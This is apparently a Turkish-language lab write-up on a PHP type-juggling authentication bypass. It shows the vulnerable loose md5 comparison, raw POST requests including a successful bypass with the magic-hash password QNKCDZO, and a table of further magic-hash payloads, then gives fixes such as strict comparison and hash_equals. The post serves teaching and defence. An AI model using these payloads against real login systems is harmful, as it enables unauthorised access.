PHP gibi zayıf tür denetimi yapan dillerde, geliştiricilerin yaygın olarak karşılaştığı ancak çoğu zaman göz ardı ettiği bir güvenlik riski bulunmaktadır: Type Juggling (Tür Karıştırma). Bu zafiyet, özellikle kimlik doğrulama işlemlerinde zayıf karşılaştırma operatörlerinin (==
) kullanılması durumunda, saldırganların sisteme yetkisiz erişim sağlamasına olanak tanır.
Bu yazıda, PHP 5.6.40 sürümünü kullanan bir uygulama üzerinde keşfedilen bir kimlik doğrulama atlama zafiyetini örnek vaka üzerinden detaylı olarak inceleyeceğiz. Zafiyetin nasıl tespit edildiğini, başarılı bir şekilde nasıl istismar edildiğini ve benzer zafiyetlerin nasıl önlenmesi gerektiğini adım adım ele alacağız.
Hedef Sistem Bilgileri
- Sunucu Yazılımı: Apache/2.4.25 (Debian)
- PHP Sürümü: PHP/5.6.40
- Uygulama Türü: Web tabanlı oturum açma arayüzü
- HTTP Yanıt Kodu:
401 Unauthorized
(başarısız giriş denemelerinde)
Zafiyetin Tespiti
İlk etapta uygulamanın kimlik doğrulama mekanizması basit bir HTML formu aracılığıyla parola girişi yapılması bekleniyor:
<form method="post" action="">
<label for="password">Password:</label>
<input type="password" name="password" />
<input type="submit" value="Submit" />
</form>
Yapılan incelemede, sadece password
alanı kontrol edildiği ve herhangi bir username
parametresine ihtiyaç duyulmadığı gözlemlendi. Ardından sunucuya bilinçli olarak hatalı formatta bir POST isteği gönderildi:
Gönderilen İstek:
POST / HTTP/1.1
Host: 10.0.3.13
Content-Type: application/x-www-form-urlencoded
password[password]=true
Sunucu Yanıtı:
<b>Warning</b>: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 75
<p class='message'>401 Unauthorized</p>
Bu hata mesajı, uygulamanın $_POST['password']
girdisini doğrudan md5()
fonksiyonuna gönderdiğini ve herhangi bir tip kontrolü yapılmadığını açıkça ortaya koymaktadır.
Zafiyetin Teknik İncelemesi
PHP, ==
operatörünü kullanarak yapılan karşılaştırmalarda değişkenlerin türlerini otomatik olarak dönüştürür (type juggling). Bu durum, özellikle sayısal olarak ifade edilebilecek string'lerde beklenmedik sonuçlara yol açabilir.
Örnek:
var_dump("0e12345" == "0"); // bool(true)
PHP, "0e12345"
değerini 0 * 10^12345
olarak bilimsel gösterime çevirir ve "0"
ile eşit olduğunu varsayar. Bu davranış, özellikle md5 gibi zayıf hash fonksiyonlarının "0e..."
formatında değerler üretmesi durumunda kritik hale gelir.
İstismar Senaryosu: 0e Hash Bypass
Aşağıdaki örnek kod, hedef uygulamada muhtemelen kullanılan karşılaştırma mantığını temsil etmektedir:
$stored_hash = '0e830400451993494058024219903391'; // Örnek zayıf hash
if (md5($_POST['password']) == $stored_hash) {
// Kimlik doğrulama başarılı
}
Eğer kullanıcı tarafından girilen parola QNKCDZO
olursa, ortaya çıkan md5 değeri şöyledir:
md5("QNKCDZO") == "0e830400451993494058024219903391"
PHP'de bu iki değer gevşek karşılaştırma ile eşit kabul edilir çünkü her ikisi de "0e..."
formatındadır ve sayısal olarak 0
anlamına gelir.
İstismar Süreci
Deneme 1:
POST / HTTP/1.1
Host: 10.0.3.13
Content-Type: application/x-www-form-urlencoded
password=QNKCDZO
Sunucu Yanıtı:
- HTTP 200 OK
401 Unauthorized
mesajı yer almıyor- Potansiyel oturum çerezi oluşturulmuş
Bu yanıt, uygulamanın parola kontrolünü geçerli kabul ettiğini ve oturum başlattığını göstermektedir.
Diğer Potansiyel Payload'lar
Aşağıdaki değerler, md5 fonksiyonu ile "0e..."
formatında sonuç üreten bilinen değerlerdir:
Girdi | md5 Çıktısı |
---|---|
240610708 | 0e462097431906509019562988736854 |
aabg7XSs | 0e087386482136013740957780965295 |
s878926199a | 0e545993274517709034328855841020 |
Saldırganlar bu değerleri brute-force ile de üretebilir.
Güvenlik Önlemleri ve Öneriler
Güvenli Karşılaştırma Kullanın
Karşılaştırmalarda gevşek (==
) yerine sıkı karşılaştırma (===
) kullanılmalıdır:
if (md5($_POST['password']) === $stored_hash) {
// Güvenli karşılaştırma
}
hash_equals()
Fonksiyonu
PHP >=5.6 sürümünde gelen hash_equals()
fonksiyonu, zaman tabanlı karşılaştırmaları da engelleyerek güvenli alternatif sunar:
if (hash_equals($stored_hash, md5((string)$_POST['password']))) {
// Güvenli kimlik doğrulama
}
Tip Kontrolü Yapın
Kullanıcı girdileri daima doğrulanmalı ve beklendiği türde olup olmadığı kontrol edilmelidir:
if (!is_string($_POST['password'])) {
die("Geçersiz giriş.");
}
Modern PHP Sürümlerine Geçiş
PHP 5.x sürümleri artık resmi olarak desteklenmemektedir. Uygulamaların güncel PHP 8+ sürümlerine geçirilmesi önerilir.
Sonuç
Bu yazıda incelenen zafiyet, yazılımcılar tarafından sıkça göz ardı edilen ancak etkisi büyük olabilen bir güvenlik açığını temsil etmektedir. Zayıf karşılaştırma operatörlerinin kullanımı, saldırganların çok düşük teknik bilgiyle dahi kimlik doğrulama mekanizmasını atlamasına olanak tanır.
Güvenli yazılım geliştirme süreçlerinde, kullanıcı girdilerinin doğrulanması, güvenli karşılaştırma yöntemlerinin kullanılması ve güncel yazılım sürümlerinin tercih edilmesi kritik öneme sahiptir.
Kaynaklar
- PayloadsAllTheThings - Type Juggling
- PHP Manual: Type Comparison Tables
- OWASP Secure Coding Practices
- Lab Ortamı: https://learn.cyberexam.io/challenges/web-attacks/authentication/juggling
Comments
No comments yet. Be the first to comment!
Leave a Comment
Comments are moderated for security reasons. Your comment will be added after review.